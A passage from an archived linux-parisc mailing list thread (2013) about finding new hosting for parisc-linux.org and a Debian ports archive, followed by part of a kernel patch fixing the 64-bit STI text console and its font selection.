X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 5 Nov 2013 13:28:38 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP1014D1D4D244BA55746CED297F10@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>, <20131105022209.GC22393@dannf.org> <trinity-7edb2a57-bc89-4ebf-9eb7-ebedef0ee7fd-1383648675665@3capp-gmx-bs06>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383676110 27617 80.91.229.3 (5 Nov 2013 18:28:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 18:28:30 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 19:28:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdlMg-0008Rs-Ae
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 19:28:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752976Ab3KES2e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Nov 2013 13:28:34 -0500
Original-Received: from blu0-omc4-s23.blu0.hotmail.com ([65.55.111.162]:46522 "EHLO
	blu0-omc4-s23.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750732Ab3KES2d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Nov 2013 13:28:33 -0500
Original-Received: from BLU0-SMTP101 ([65.55.111.135]) by blu0-omc4-s23.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 5 Nov 2013 10:28:33 -0800
X-TMN: [pnMWgtXLH4oW3ChlF8CsyL2rvsOWN8up]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([65.94.236.11]) by BLU0-SMTP101.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 5 Nov 2013 10:28:32 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <trinity-7edb2a57-bc89-4ebf-9eb7-ebedef0ee7fd-1383648675665@3capp-gmx-bs06>
X-OriginalArrivalTime: 05 Nov 2013 18:28:32.0221 (UTC) FILETIME=[D4C680D0:01CEDA54]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5457>

On 11/5/2013 5:51 AM, Helge Deller wrote:
>>> Is there any possibility that HP might continue to host parisc-linux.org
>>> on some other subnet/machine?
>> I've asked before if they had other systems/VMs they could host it on
>> and the answer was no. I'll ask again to make sure that hasn't changed
>> for some reason, but I'd recommend looking for other options in the
>> meantime. Perhaps osuosl.org?
> I would really prefer if it could go to some place where we e.g. could
> use it as build/hosting server (e.g. osuosl.org). If that's not possible
> I would be happy to get it privately for development, since a A500 is something
> which I don't have yet, and which is not that easy to get here in germany.
>
osuosl.org might well be a good alternative.  Helge, would you fill in 
application?

If osuosl doesn't work out, I would support Helge receiving the 
machine.  I have an A500.

Regarding the website and wiki, there may be ways to handle that as the 
bandwidth requirements
aren't large.

Regarding the unstable archive, Helge and I were recently given accounts 
on debian-ports and
now can do package uploads.  I upload the first yesterday.  We need an 
unstable archive from which
it's possible to  debootstrap to help with this migration.  Will have to 
look at setting this up locally.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 05 Nov 2013 22:35:38 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <527964AA.10601@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>, <20131105022209.GC22393@dannf.org> <trinity-7edb2a57-bc89-4ebf-9eb7-ebedef0ee7fd-1383648675665@3capp-gmx-bs06> <BLU0-SMTP1014D1D4D244BA55746CED297F10@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383687338 31560 80.91.229.3 (5 Nov 2013 21:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 21:35:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
	dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 22:35:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdoHm-0005ay-LA
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 22:35:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755168Ab3KEVfm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Nov 2013 16:35:42 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:51249 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755159Ab3KEVfl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Nov 2013 16:35:41 -0500
Original-Received: from [192.168.178.60] ([84.173.30.141]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0M4002-1Vw1tJ2DyM-00rb8E for
 <linux-parisc@vger.kernel.org>; Tue, 05 Nov 2013 22:35:39 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <BLU0-SMTP1014D1D4D244BA55746CED297F10@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:LUMfvtYhw5N+wxbfdaqreI1teFlsIAPgYGmk0hGIJ14TZFA/g0S
 5gp/flcYH1k7JRVHX6FXw9z3tQSSv+65AdvAmMS+Ylnp/aHMetmDfqDnnV+9lW07ld4N0lP
 nPFy3FFATu8h4OWtW4KQgyhgfqApiRroI3lersKXbAUdclWaTrPdNCxl4QZEYjIVR1hSMYG
 Nxhj/OOyUFYKP9a85VllQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5458>

On 11/05/2013 07:28 PM, John David Anglin wrote:
> On 11/5/2013 5:51 AM, Helge Deller wrote:
>>>> Is there any possibility that HP might continue to host parisc-linux.org
>>>> on some other subnet/machine?
>>> I've asked before if they had other systems/VMs they could host it on
>>> and the answer was no. I'll ask again to make sure that hasn't changed
>>> for some reason, but I'd recommend looking for other options in the
>>> meantime. Perhaps osuosl.org?
>> I would really prefer if it could go to some place where we e.g. could
>> use it as build/hosting server (e.g. osuosl.org). If that's not possible
>> I would be happy to get it privately for development, since a A500 is something
>> which I don't have yet, and which is not that easy to get here in germany.
>>
> osuosl.org might well be a good alternative.  Helge, would you fill in application?

I will do.

 
> If osuosl doesn't work out, I would support Helge receiving the machine.  I have an A500.
> 
> Regarding the website and wiki, there may be ways to handle that as the bandwidth requirements
> aren't large.

We have a new wiki at 
	https://parisc.wiki.kernel.org/
which I thought to be used as replacement for the website.
I've already started to migrate some pages over.
Anyone is welcome to help with this wiki.

Our regular Wiki (http://wiki.parisc-linux.org/) is hosted at servers from ESIEE and are not affected (AFAICS).
Nevertheless, maybe it would make sense to merge those over to the wiki at kernel.org too? 

> Regarding the unstable archive, Helge and I were recently given accounts on debian-ports and
> now can do package uploads.  I upload the first yesterday.  We need an unstable archive from which
> it's possible to  debootstrap to help with this migration.  Will have to look at setting this up locally.

If the archive at debian-ports works out, why do you want an additional debootstrap location?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 5 Nov 2013 17:23:32 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <BLU0-SMTP30BB1B5C956A7B784174EF97F10@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>, <20131105022209.GC22393@dannf.org> <trinity-7edb2a57-bc89-4ebf-9eb7-ebedef0ee7fd-1383648675665@3capp-gmx-bs06> <BLU0-SMTP1014D1D4D244BA55746CED297F10@phx.gbl> <527964AA.10601@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383690212 1534 80.91.229.3 (5 Nov 2013 22:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 22:23:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 23:23:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vdp20-0007HK-Qb
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 23:23:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755549Ab3KEWX2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Nov 2013 17:23:28 -0500
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:46267 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755514Ab3KEWX1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Nov 2013 17:23:27 -0500
Original-Received: from BLU0-SMTP30 ([65.55.111.135]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 5 Nov 2013 14:23:27 -0800
X-TMN: [o6OZfJMINKoN/qPKIymnhRQaD+G969/N]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([65.94.236.11]) by BLU0-SMTP30.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 5 Nov 2013 14:23:25 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <527964AA.10601@gmx.de>
X-OriginalArrivalTime: 05 Nov 2013 22:23:25.0553 (UTC) FILETIME=[A50E4E10:01CEDA75]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5459>

On 11/5/2013 4:35 PM, Helge Deller wrote:
>> Regarding the unstable archive, Helge and I were recently given accounts on debian-ports and
>> >now can do package uploads.  I upload the first yesterday.  We need an unstable archive from which
>> >it's possible to  debootstrap to help with this migration.  Will have to look at setting this up locally.
> If the archive at debian-ports works out, why do you want an additional debootstrap location?
A buildd is setup initially using debootstrap.  This gives a minimal 
build system.
Then, package dependencies are dynamically resolved for each build as I 
understand it.

Even doing manual builds, one must set the required dependencies and 
resolve conflicts.  While this can be
done using a package archive stored in directory, it's easier to grab 
the needed packages with apt-get.
It will take some time (several months?) for debian-ports to reach the 
package collection on parisc-linux.org.

None of the packages on parisc-linux.org are signed and they lack a 
.changes file, so they can't be directly
uploaded as I understand it.

If we can't continue with a public archive (this allows others access as 
well during transition), then it would be best
to copy the archive to our respective local systems and use it while we 
bring ports up to speed.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: sticon - fix 64bit and font selection
Date: Wed, 6 Nov 2013 23:38:59 +0100
Lines: 522
Approved: news@gmane.org
Message-ID: <20131106223859.GA15569@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383777544 18353 80.91.229.3 (6 Nov 2013 22:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Nov 2013 22:39:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 06 23:39:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeBkg-0006PN-17
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Nov 2013 23:39:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750729Ab3KFWjF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Nov 2013 17:39:05 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:57549 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750717Ab3KFWjE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Nov 2013 17:39:04 -0500
Original-Received: from p100.box ([84.173.29.254]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M2FhY-1Vwg4W2IMu-00s6pV for
 <linux-parisc@vger.kernel.org>; Wed, 06 Nov 2013 23:39:01 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:2xUOIJn1VIHGoKI/45E17HJBowbVecSbKWMBUc3TXksaGi3ZwDp
 TsZbxR6WoEj/pUcguB4b/nrT9ZNJMV+HtKUAOIPZlSIiF9SQufvyPdhPUfQKF6ae2Jv5aZD
 l61ujVC5D2vJ38RY2RFyuLvXwBdpqm28GURwiEjUtx9kEM66qpqe/jAZ6EOo3d7qFJT1cfM
 RtxV2grGS5041vnY2coZQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5460
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5460>

STI text console (sticon) was broken on 64bit machines with more than
4GB and lead in some cases to a kernel crash.

Since sticon uses the 32bit STI API it needs to keep pointers to memory
below 4GB. But on a 64bit kernel some memory regions (e.g. the kernel
stack) might be above 4GB which then may crash the kernel in the STI
functions.

Additionally sticon didn't selected the built-in framebuffer fonts by
default. This is now fixed.

On a side-note: Theoretically we could enhance the sticon driver to
use the 64bit STI API. But this just adds complexity and on some
machines a 64bit STI is just not available.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 35687fd..a68f3a7 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -3,7 +3,7 @@
  *	core code for console driver using HP's STI firmware
  *
  *	Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>
- *	Copyright (C) 2001-2003 Helge Deller <deller@gmx.de>
+ *	Copyright (C) 2001-2013 Helge Deller <deller@gmx.de>
  *	Copyright (C) 2001-2002 Thomas Bogendoerfer <tsbogend@alpha.franken.de>
  * 
  * TODO:
@@ -30,7 +30,7 @@
 
 #include "../sticore.h"
 
-#define STI_DRIVERVERSION "Version 0.9a"
+#define STI_DRIVERVERSION "Version 0.9b"
 
 static struct sti_struct *default_sti __read_mostly;
 
@@ -73,28 +73,34 @@ static const struct sti_init_flags default_init_flags = {
 
 static int sti_init_graph(struct sti_struct *sti)
 {
-	struct sti_init_inptr_ext inptr_ext = { 0, };
-	struct sti_init_inptr inptr = {
-		.text_planes	= 3, /* # of text planes (max 3 for STI) */
-		.ext_ptr	= STI_PTR(&inptr_ext)
-	};
-	struct sti_init_outptr outptr = { 0, };
+	struct sti_init_inptr *inptr = &sti->sti_data->init_inptr;
+	struct sti_init_inptr_ext *inptr_ext = &sti->sti_data->init_inptr_ext;
+	struct sti_init_outptr *outptr = &sti->sti_data->init_outptr;
 	unsigned long flags;
-	int ret;
+	int ret, err;
 
 	spin_lock_irqsave(&sti->lock, flags);
 
-	ret = STI_CALL(sti->init_graph, &default_init_flags, &inptr,
-		&outptr, sti->glob_cfg);
+	memset(inptr, 0, sizeof(*inptr));
+	inptr->text_planes = 3; /* # of text planes (max 3 for STI) */
+	memset(inptr_ext, 0, sizeof(*inptr_ext));
+	inptr->ext_ptr = STI_PTR(inptr_ext);
+	outptr->errno = 0;
+
+	ret = sti_call(sti, sti->init_graph, &default_init_flags, inptr,
+		outptr, sti->glob_cfg);
+
+	if (ret >= 0)
+		sti->text_planes = outptr->text_planes;
+	err = outptr->errno;
 
 	spin_unlock_irqrestore(&sti->lock, flags);
 
 	if (ret < 0) {
-		printk(KERN_ERR "STI init_graph failed (ret %d, errno %d)\n",ret,outptr.errno);
+		pr_err("STI init_graph failed (ret %d, errno %d)\n", ret, err);
 		return -1;
 	}
 	
-	sti->text_planes = outptr.text_planes;
 	return 0;
 }
 
@@ -104,16 +110,18 @@ static const struct sti_conf_flags default_conf_flags = {
 
 static void sti_inq_conf(struct sti_struct *sti)
 {
-	struct sti_conf_inptr inptr = { 0, };
+	struct sti_conf_inptr *inptr = &sti->sti_data->inq_inptr;
+	struct sti_conf_outptr *outptr = &sti->sti_data->inq_outptr;
 	unsigned long flags;
 	s32 ret;
 
-	sti->outptr.ext_ptr = STI_PTR(&sti->outptr_ext);
+	outptr->ext_ptr = STI_PTR(&sti->sti_data->inq_outptr_ext);
 	
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->inq_conf, &default_conf_flags,
-			&inptr, &sti->outptr, sti->glob_cfg);
+		memset(inptr, 0, sizeof(*inptr));
+		ret = sti_call(sti, sti->inq_conf, &default_conf_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -126,7 +134,8 @@ static const struct sti_font_flags default_font_flags = {
 void
 sti_putc(struct sti_struct *sti, int c, int y, int x)
 {
-	struct sti_font_inptr inptr = {
+	struct sti_font_inptr *inptr = &sti->sti_data->font_inptr;
+	struct sti_font_inptr inptr_default = {
 		.font_start_addr= STI_PTR(sti->font->raw),
 		.index		= c_index(sti, c),
 		.fg_color	= c_fg(sti, c),
@@ -134,14 +143,15 @@ sti_putc(struct sti_struct *sti, int c, int y, int x)
 		.dest_x		= x * sti->font_width,
 		.dest_y		= y * sti->font_height,
 	};
-	struct sti_font_outptr outptr = { 0, };
+	struct sti_font_outptr *outptr = &sti->sti_data->font_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->font_unpmv, &default_font_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->font_unpmv, &default_font_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -156,7 +166,8 @@ void
 sti_set(struct sti_struct *sti, int src_y, int src_x,
 	int height, int width, u8 color)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.fg_color	= color,
 		.bg_color	= color,
 		.src_x		= src_x,
@@ -166,14 +177,15 @@ sti_set(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width,
 		.height		= height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 	
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &clear_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &clear_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -182,7 +194,8 @@ void
 sti_clear(struct sti_struct *sti, int src_y, int src_x,
 	  int height, int width, int c)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.fg_color	= c_fg(sti, c),
 		.bg_color	= c_bg(sti, c),
 		.src_x		= src_x * sti->font_width,
@@ -192,14 +205,15 @@ sti_clear(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width * sti->font_width,
 		.height		= height* sti->font_height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &clear_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &clear_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -212,7 +226,8 @@ void
 sti_bmove(struct sti_struct *sti, int src_y, int src_x,
 	  int dst_y, int dst_x, int height, int width)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.src_x		= src_x * sti->font_width,
 		.src_y		= src_y * sti->font_height,
 		.dest_x		= dst_x * sti->font_width,
@@ -220,14 +235,15 @@ sti_bmove(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width * sti->font_width,
 		.height		= height* sti->font_height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &default_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &default_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -284,7 +300,7 @@ __setup("sti=", sti_setup);
 
 
 
-static char *font_name[MAX_STI_ROMS] = { "VGA8x16", };
+static char *font_name[MAX_STI_ROMS];
 static int font_index[MAX_STI_ROMS],
 	   font_height[MAX_STI_ROMS],
 	   font_width[MAX_STI_ROMS];
@@ -389,10 +405,10 @@ static void sti_dump_outptr(struct sti_struct *sti)
 		"%d used bits\n"
 		"%d planes\n"
 		"attributes %08x\n",
-		 sti->outptr.bits_per_pixel,
-		 sti->outptr.bits_used,
-		 sti->outptr.planes,
-		 sti->outptr.attributes));
+		 sti->sti_data->inq_outptr.bits_per_pixel,
+		 sti->sti_data->inq_outptr.bits_used,
+		 sti->sti_data->inq_outptr.planes,
+		 sti->sti_data->inq_outptr.attributes));
 }
 
 static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
@@ -402,24 +418,21 @@ static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
 	struct sti_glob_cfg_ext *glob_cfg_ext;
 	void *save_addr;
 	void *sti_mem_addr;
-	const int save_addr_size = 1024;	/* XXX */
-	int i;
+	int i, size;
 
-	if (!sti->sti_mem_request)
+	if (sti->sti_mem_request < 256)
 		sti->sti_mem_request = 256; /* STI default */
 
-	glob_cfg = kzalloc(sizeof(*sti->glob_cfg), GFP_KERNEL);
-	glob_cfg_ext = kzalloc(sizeof(*glob_cfg_ext), GFP_KERNEL);
-	save_addr = kzalloc(save_addr_size, GFP_KERNEL);
-	sti_mem_addr = kzalloc(sti->sti_mem_request, GFP_KERNEL);
+	size = sizeof(struct sti_all_data) + sti->sti_mem_request - 256;
 
-	if (!(glob_cfg && glob_cfg_ext && save_addr && sti_mem_addr)) {
-		kfree(glob_cfg);
-		kfree(glob_cfg_ext);
-		kfree(save_addr);
-		kfree(sti_mem_addr);
+	sti->sti_data = kzalloc(size, STI_LOWMEM);
+	if (!sti->sti_data)
 		return -ENOMEM;
-	}
+
+	glob_cfg	= &sti->sti_data->glob_cfg;
+	glob_cfg_ext	= &sti->sti_data->glob_cfg_ext;
+	save_addr	= &sti->sti_data->save_addr;
+	sti_mem_addr	= &sti->sti_data->sti_mem_addr;
 
 	glob_cfg->ext_ptr = STI_PTR(glob_cfg_ext);
 	glob_cfg->save_addr = STI_PTR(save_addr);
@@ -475,32 +488,31 @@ static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
 	return 0;
 }
 
-#ifdef CONFIG_FB
+#ifdef CONFIG_FONTS
 static struct sti_cooked_font *
 sti_select_fbfont(struct sti_cooked_rom *cooked_rom, const char *fbfont_name)
 {
-	const struct font_desc *fbfont;
+	const struct font_desc *fbfont = NULL;
 	unsigned int size, bpc;
 	void *dest;
 	struct sti_rom_font *nf;
 	struct sti_cooked_font *cooked_font;
 	
-	if (!fbfont_name || !strlen(fbfont_name))
-		return NULL;
-	fbfont = find_font(fbfont_name);
+	if (fbfont_name && strlen(fbfont_name))
+		fbfont = find_font(fbfont_name);
 	if (!fbfont)
 		fbfont = get_default_font(1024,768, ~(u32)0, ~(u32)0);
 	if (!fbfont)
 		return NULL;
 
-	DPRINTK((KERN_DEBUG "selected %dx%d fb-font %s\n",
-			fbfont->width, fbfont->height, fbfont->name));
+	pr_info("STI selected %dx%d framebuffer font %s for sticon\n",
+			fbfont->width, fbfont->height, fbfont->name);
 			
 	bpc = ((fbfont->width+7)/8) * fbfont->height; 
 	size = bpc * 256;
 	size += sizeof(struct sti_rom_font);
 
-	nf = kzalloc(size, GFP_KERNEL);
+	nf = kzalloc(size, STI_LOWMEM);
 	if (!nf)
 		return NULL;
 
@@ -637,7 +649,7 @@ static void *sti_bmode_font_raw(struct sti_cooked_font *f)
 	unsigned char *n, *p, *q;
 	int size = f->raw->bytes_per_char*256+sizeof(struct sti_rom_font);
 	
-	n = kzalloc (4*size, GFP_KERNEL);
+	n = kzalloc(4*size, STI_LOWMEM);
 	if (!n)
 		return NULL;
 	p = n + 3;
@@ -673,7 +685,7 @@ static struct sti_rom *sti_get_bmode_rom (unsigned long address)
 	sti_bmode_rom_copy(address + BMODE_LAST_ADDR_OFFS, sizeof(size), &size);
 
 	size = (size+3) / 4;
